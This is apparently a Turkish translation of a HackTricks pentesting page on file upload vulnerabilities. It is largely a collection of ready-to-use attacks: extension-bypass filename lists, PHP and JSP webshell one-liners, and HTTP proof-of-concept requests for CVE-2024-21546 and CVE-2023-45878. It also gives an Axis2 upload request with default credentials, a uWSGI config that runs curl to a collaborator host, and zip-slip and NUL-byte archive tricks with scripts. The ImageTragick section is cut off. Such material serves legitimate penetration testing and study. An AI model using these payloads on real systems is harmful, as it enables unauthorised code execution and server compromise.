Dosya Yükleme

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Dosya Yükleme Genel Metodolojisi

Diğer faydalı uzantılar:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Dosya uzantısı kontrollerini atlatma

  1. Eğer uygulanıyorsa, önceki uzantıları kontrol edin. Ayrıca bunları bazı büyük harflerle test edin: pHp, .pHP5, .PhAr …
  2. Çalıştırma uzantısından önce geçerli bir uzantı eklemeyi kontrol edin (önceki uzantıları da kullanın):
  • file.png.php
  • file.png.Php5
  1. Sonuna özel karakterler eklemeyi deneyin. Tüm ascii ve Unicode karakterlerini bruteforce etmek için Burp kullanabilirsiniz. (Not: ayrıca önceki bahsedilen uzantıları kullanmayı da deneyebilirsiniz)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmayı deneyin; örneğin uzantıyı çoğaltmak veya uzantılar arasına gereksiz veri (null byte’ları) eklemek gibi. Daha iyi bir payload hazırlamak için önceki uzantıları de kullanabilirsiniz.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Önceki kontrole başka bir uzantı katmanı ekleyin:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Çalıştırma uzantısını geçerli uzantıdan önce koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasına umut edin. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; örneğin herhangi bir şeyin uzantısı .php içeriyorsa, sonu .php ile bitmese bile kod çalıştırılabilir):
  • ex: file.php.png
  1. Windows üzerinde NTFS alternate data stream (ADS) kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce iki nokta üst üste “:” karakteri eklenecektir. Sonuç olarak, sunucuda yasaklı uzantılı boş bir dosya oluşturulacaktır (ör. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adı kullanımı gibi diğer tekniklerle düzenlenebilir. “::$data” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek ek kısıtlamaları atlatmak için faydalı olabilir (ör. “file.asp::$data.”)
  2. Dosya adı limitlerini kırmayı deneyin. Geçerli uzantı kesilir. Ve kötü amaçlı PHP arta kalır. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Bazı upload handler’lar kaydedilmiş dosya adından sondaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde, uzantı doğrulamasını şu şekilde atlayabilirsiniz:

  • Geçerli bir image MIME ve magic header kullanarak (ör. PNG’nin \x89PNG\r\n\x1a\n).
  • Yüklenen dosyayı bir PHP uzantısı takip eden bir noktayla adlandırarak, örn. shell.php..
  • Sunucu sondaki noktayı temizler ve shell.php olarak kalır; eğer bu dosya web tarafından servis edilen bir dizine yerleştirilirse çalıştırılır (varsayılan public storage gibi /storage/files/).

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Sonra kaydedilmiş path’e erişin (Laravel + LFM’de tipik):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Content-Type kontrollerini, Content-Type header’ının value’sünü şu şekilde ayarlayarak atlatın: image/png, text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number kontrolünü, dosyanın başına gerçek bir resmin bytes’larını ekleyerek atlatın ( file komutunu yanıltır). Veya shell’i metadata içine yerleştirin:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ veya payload’u doğrudan bir resme de yerleştirebilirsiniz:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Eğer görüntünüze compression uygulanıyorsa, örneğin PHP’nin standart kütüphanelerinden PHP-GD kullanılıyorsa, önceki teknikler faydalı olmayacaktır. Ancak, sıkıştırmadan survive edecek metinler eklemek için PLTE chunk technique defined here kullanılabilir.
  • Github with the code
  • Web sayfası ayrıca görüntüyü yeniden resizing yapıyor olabilir; örneğin PHP-GD fonksiyonları imagecopyresized veya imagecopyresampled kullanılarak. Ancak, sıkıştırmadan survive edecek metin eklemek için IDAT chunk technique defined here kullanılabilir.
  • Github with the code
  • Görüntü yeniden boyutlandırmaya karşı dayanacak bir payload oluşturmanın başka bir tekniği de PHP-GD fonksiyonu thumbnailImage kullanmaktır. Ayrıca, sıkıştırmadan survive edecek metin eklemek için tEXt chunk technique defined here kullanılabilir.
  • Github with the code

Diğer Kontrol Edilecek İpuçları

  • Zaten yüklenmiş dosyanın uzantısını değiştirmek (dosyayı rename etmek) için bir zafiyet bulun.
  • Backdoor’u çalıştırmak için bir Local File Inclusion zafiyeti bulun.
  • Olası Bilgi Açığa Çıkması:
  1. Aynı dosyayı aynı isimle birden fazla kez (ve aynı anda) yükleyin.
  2. Zaten mevcut olan bir dosya veya klasör adıyla bir dosya yükleyin.
  3. Dosya adını “.” , “..”, or “…” olarak yükleyin. Örneğin, Apache üzerinde Windows ise ve uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydediyorsa, “.” dosya adı “/www/” dizininde uploads” adlı bir dosya oluşturacaktır.
  4. NTFS üzerinde silinmesi zor olabilecek “…:.jpg” gibi bir dosya yükleyin. (Windows)
  5. Windows üzerinde dosya adına |<>*?” gibi geçersiz karakterler içeren bir dosya yükleyin. (Windows)
  6. Windows üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi reserved (forbidden) isimler kullanarak bir dosya yükleyin.
  • Ayrıca, kurbanın yanlışlıkla açması durumunda kod çalıştıracak bir executable (.exe) veya daha az şüpheli olan bir .html yüklemeyi deneyin.

Special extension tricks

Eğer dosyaları bir PHP server’a yüklemeye çalışıyorsanız, take a look at the .htaccess trick to execute code.
Eğer dosyaları bir ASP server’a yüklemeye çalışıyorsanız, take a look at the .config trick to execute code.

.phar dosyaları Java için .jar gibi çalışır, fakat php içindir ve php dosyası gibi kullanılabilir (php ile çalıştırmak veya bir script içinde include etmek…).

.inc uzantısı bazen sadece dosya import etmek için kullanılan php dosyalarında kullanılır; dolayısıyla bir noktada biri bu uzantının çalıştırılmasına izin vermiş olabilir.

Jetty RCE

Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz RCE because **new .xml and .war are automatically processed. Yani, aşağıdaki görselde belirtildiği gibi XML dosyasını $JETTY_BASE/webapps/ dizinine yükleyin ve shell bekleyin!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Bu zafiyetin detaylı incelemesi için orijinal araştırmaya bakın: uWSGI RCE Exploitation.

Remote Command Execution (RCE) zafiyetleri, birinin .ini konfigürasyon dosyasını değiştirme yeteneği varsa uWSGI sunucularında sömürülebilir. uWSGI konfigürasyon dosyaları “magic” değişkenler, yer tutucular ve operatörleri dahil etmek için özel bir sözdizimi kullanır. Özellikle, ‘@’ operatörü, @(filename) şeklinde kullanıldığında bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI’de desteklenen çeşitli şemalar arasında, bir sürecin standart çıktısından veri okumaya izin veren “exec” şeması özellikle güçlüdür. Bu özellik, bir .ini konfigürasyon dosyası işlenirken Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı amaçlar için suistimal edilebilir.

Aşağıda çeşitli şemaları gösteren zararlı bir uwsgi.ini dosyası örneğini inceleyin:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.

It’s crucial to understand the lax nature of uWSGI’s configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (server ignores type/name, base64-decodes the tail)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Minimal bir webshell bırakın ve komutları çalıştırın:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notlar:

  • The handler performs base64_decode($_POST["img"]) after splitting by ; and ,, then writes bytes to $absolutePath . '/' . $_POST['path'] without validating extension/type.
  • Ortaya çıkan kod web servis kullanıcısı olarak çalışır (örn. XAMPP Apache on Windows).

Bu hataya dair referanslar arasında usd HeroLab advisory ve NVD girdisi bulunmaktadır. Aşağıdaki References bölümüne bakın.

wget File Upload/SSRF Hilesi

Bazen bir sunucunun wget ile dosya indirdiğini ve sizin URL belirtebildiğinizi görebilirsiniz. Bu durumlarda kod, indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, bu kontrol atlatılabilir.\

Linux’ta bir dosya adının maksimum uzunluğu 255’tir; ancak wget dosya adlarını 236 karaktere kısaltır. You can download a file called “A”*232+“.php”+“.gif”, bu dosya adı kontrolü atlatır (bu örnekte “.gif” geçerli bir uzantıdır) fakat wget dosyayı *“A”232+“.php” olarak yeniden adlandırır.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that başka bir seçenek olarak aklınıza gelebilecek şey, HTTP server’ın farklı bir dosyaya yönlendirme yapmasını sağlamaktır; böylece ilk URL kontrolü atlatır ama wget yönlendirilen dosyayı yeni adıyla indirir. Bu, wget --trust-server-names parametresi ile kullanılmıyorsa çalışmaz, çünkü wget yönlendirilen sayfayı orijinal URL’de belirtilen dosya adıyla indirir.

NTFS junctions ile uploads dizininden kaçış (Windows)

(Bu saldırı için Windows makinesine yerel erişim gerekecektir) Windows’ta uploads kullanıcı başına alt klasörlerde saklanıyorsa (ör. C:\Windows\Tasks\Uploads<id>) ve bu alt klasörün oluşturulmasını/silinmesini kontrol edebiliyorsanız, bunu hassas bir konuma (ör. webroot) işaret eden bir directory junction ile değiştirebilirsiniz. Sonraki uploads hedef yola yazılacak ve hedef server‑side kodu yorumluyorsa kod yürütmeye olanak verecektir.

Örnek akış, uploads’ları XAMPP webroot içine yönlendirmek için:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notlar

  • mklink /J bir NTFS directory junction (reparse point) oluşturur. Web sunucusunun hesabı junction’ı takip edebilmeli ve hedefte yazma iznine sahip olmalıdır.
  • Bu, keyfi dosya yazmalarını yönlendirir; eğer hedef script çalıştırıyorsa (PHP/ASP), bu RCE’ye dönüşür.
  • Önlemler: writable upload root’ların C:\Windows\Tasks veya benzeri altında saldırgan tarafından kontrol edilebilir olmasına izin vermeyin; junction oluşturulmasını engelleyin; uzantıları sunucu tarafında doğrulayın; yüklemeleri ayrı bir volume’de ya da deny-execute ACL’leri ile saklayın.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Bazı upload/ingest handler’ları, ham request body’yi kullanıcı kontrollü query parametrelerinden oluşturulan bir filesystem yoluna yazar. Eğer handler ayrıca Content-Encoding: gzip’i destekliyor ve hedef yolu kanonikleştirmiyor/doğrulamıyorsa, path traversal ile gzipped payload’ı birleştirerek web tarafından sunulan bir dizine rastgele baytlar yazabilir ve RCE elde edebilirsiniz (örn. Tomcat’in webapps altına bir JSP bırakmak).

Genel istismar akışı:

  • Sunucu tarafı payload’unuzu (örn. minimal JSP webshell) hazırlayın ve baytları gzip ile sıkıştırın.
  • Hedef klasörden kaçış sağlayan path traversal içeren bir path parametresi (örn. token) ve kalıcı olacak dosya adını belirten file içeren bir POST gönderin. Content-Type: application/octet-stream ve Content-Encoding: gzip olarak ayarlayın; body sıkıştırılmış payload’tır.
  • Yazılan dosyayı tarayıcıda açarak çalıştırmayı tetikleyin.

Örnek istek:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Sonra tetikleyin:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notlar

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). JSP çalıştıran herhangi bir web-erişimli klasör işe yarar.
  • Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
  • Bu tamamen pre-auth arbitrary file write → RCE pattern; multipart parsing’e dayanmaz.

Önlemler

  • Upload hedeflerini server-side türetin; istemciden gelen path parçalarına asla güvenmeyin.
  • Resolve edilen yolun allow-listed bir base directory içinde kalmasını canonicalize edin ve zorunlu kılın.
  • Upload’ları non-executable bir volume’da saklayın ve writable path’lerden script execution’u engelleyin.

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2-based upload services bazen uploadFile SOAP action’ını expose eder; bu action üç attacker-controlled alan alır: jobDirectory (destination directory), archiveName (filename) ve dataHandler (base64 file content). Eğer jobDirectory canonicalize edilmezse, path traversal yoluyla arbitrary file write elde edilir ve bir JSP’i Tomcat’in webapps’ine bırakabilirsiniz.

Minimal request outline (default creds often work: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindings genellikle localhost-only olur; Axis2 portu exposed değilse 127.0.0.1’e ulaşmak için full-read SSRF (absolute-URL request line, Host header ignored) ile eşleştirin.
  • Yazdıktan sonra çalıştırmak için /trufusionPortal/jsp/shell.jsp?cmd=id adresine gidin.

Tools

  • Upload Bypass Pentesters ve Bug Hunters’ın file upload mekanizmalarını test etmelerine yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Vulnerabilities’leri tanımlama ve exploit etme sürecini basitleştirmek için çeşitli bug bounty tekniklerini kullanır ve web uygulamalarının kapsamlı değerlendirilmesini sağlar.

Corrupting upload indices with snprintf quirks (historical)

Bazı legacy upload handler’lar tek dosyalı upload’tan multi-file array’ler oluşturmak için snprintf() veya benzerini kullanır ve _FILES yapısını forge etmeye kandırılabilir. snprintf() davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload sunucu tarafında birden fazla indexed file gibi görünebilir ve katı bir shape varsayan (ör. multi-file upload olarak davranıp unsafe branch’leri takip eden) logic’i karıştırır. Günümüzde niche olsa da, bu “index corruption” pattern’i ara sıra CTF’lerde ve eski kod tabanlarında yeniden ortaya çıkar.

From File upload to other vulnerabilities

İşte upload ederek başarabileceğiniz şeylerden bir top 10 listesi (kaynak: here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Eklentisi

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Diğer dosya tipleri için bakınız: https://en.wikipedia.org/wiki/List_of_file_signatures.

Zip/Tar File Automatically decompressed Upload

Eğer sunucuda dekomprese edilecek bir ZIP yükleyebiliyorsanız, iki şey yapabilirsiniz:

Diğer dosyalara soft linkler içeren bir arşiv yükleyin; daha sonra dekomprese edilmiş dosyalara eriştiğinizde linklenmiş dosyalara da erişirsiniz:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Farklı klasörlere dekompresyon

Sıkıştırmanın açılması sırasında dizinlerde beklenmedik dosyalar oluşturulması önemli bir sorundur. Bu yapılandırmanın kötü amaçlı dosya upload’ları yoluyla OS-level komut yürütmeyi engellediği varsayılsa da, ZIP archive formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları atlamasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına olanak verir.

Böyle dosyalar oluşturmak için otomatik bir exploit evilarc on GitHub adresinde mevcuttur. Bu utility şu şekilde kullanılabilir:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Ayrıca, symlink trick with evilarc bir seçenektir. Hedef /flag.txt gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc’ın çalışma sırasında hata ile karşılaşmamasını sağlar.

Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python örnek kodu bulunmaktadır:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Sıkıştırmayı kötüye kullanarak file spraying

Daha fazla ayrıntı için orijinal gönderiye bakın: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP kodu, $_REQUEST değişkeni üzerinden iletilen komutları çalıştıracak şekilde yazılır.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Birden çok dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizin atlamak için “xxA” “ ../ “ ile değiştirilir.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Bir backend ZIP girdilerini PHP’nin ZipArchive’ını kullanarak doğrulayıp, çıkarma işlemi dosya sistemine ham isimlerle yazıyorsa, dosya adı alanına bir NUL (0x00) ekleyerek yasaklı bir uzantıyı gizleyebilirsiniz. ZipArchive giriş adını bir C‑string olarak ele alır ve ilk NUL’de keser; dosya sistemi ise NUL’den sonrasını atarak tam ismi yazar.

Genel akış:

  • Geçerli bir container dosyası (ör. geçerli bir PDF) hazırlayın; içine küçük bir PHP stub’u bir stream olarak gömün ki magic/MIME PDF olarak kalsın.
  • shell.php..pdf gibi adlandırın, zipleyin, sonra ZIP local header ve central directory filename’ini hex ile düzenleyerek .php sonrasındaki ilk .’ı 0x00 ile değiştirin; böylece shell.php\x00.pdf elde edilir.
  • ZipArchive’a dayanan validators shell.php .pdf olarak “görecek” ve izin verecek; extractor diske shell.php yazacak, upload folder executable ise bu RCE’ye yol açacaktır.

Minimal PoC adımları:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notlar

  • Her iki filename kaydını değiştirin (local ve central directory). Bazı araçlar ek bir data descriptor girdisi de ekler – mevcutsa tüm name alanlarını ayarlayın.
  • Payload dosyası yine de server‑side magic/MIME sniffing’ten geçmelidir. PHP’yi bir PDF stream’ine gömmek header’ı geçerli tutar.
  • Enum/validation yolu ile extraction/write yolu string handling konusunda uyuşmuyorsa çalışır.

Stacked/concatenated ZIPs (parser disagreement)

İki geçerli ZIP dosyasını birbirine eklemek, farklı parser’ların farklı EOCD kayıtlarına odaklandığı bir blob üretir. Birçok araç son End Of Central Directory (EOCD)’yi bulurken, bazı kütüphaneler (ör. belirli iş akışlarında ZipArchive) buldukları ilk arşivi parse edebilir. Eğer validation ilk arşivi enumerate eder ve extraction başka bir araç kullanır ve o araç son EOCD’yi esas alıyorsa, zararsız bir arşiv kontrolleri geçebilirken kötü amaçlı olanı açılabilir.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Kötüye kullanım deseni

  • İzin verilen türde (ör. bir PDF) zararsız bir arşiv oluşturun ve engellenmiş bir uzantı içeren (ör. shell.php) ikinci bir arşiv daha oluşturun.
  • Bunları birleştirin: cat benign.zip evil.zip > combined.zip.
  • Sunucu bir parser ile doğrulama yapıp (benign.zip’i görür) ama başka bir parser ile çıkarma yaparsa (evil.zip’i işlerse), engellenmiş dosya çıkarma yoluna düşer.

ImageTragic

Bu içeriği bir image uzantısıyla yükleyerek ImageMagick, 7.0.1-1’deki güvenlik açığından faydalanın (exploit: exploit)

push graphic-context
viewbox 0 0 640 480
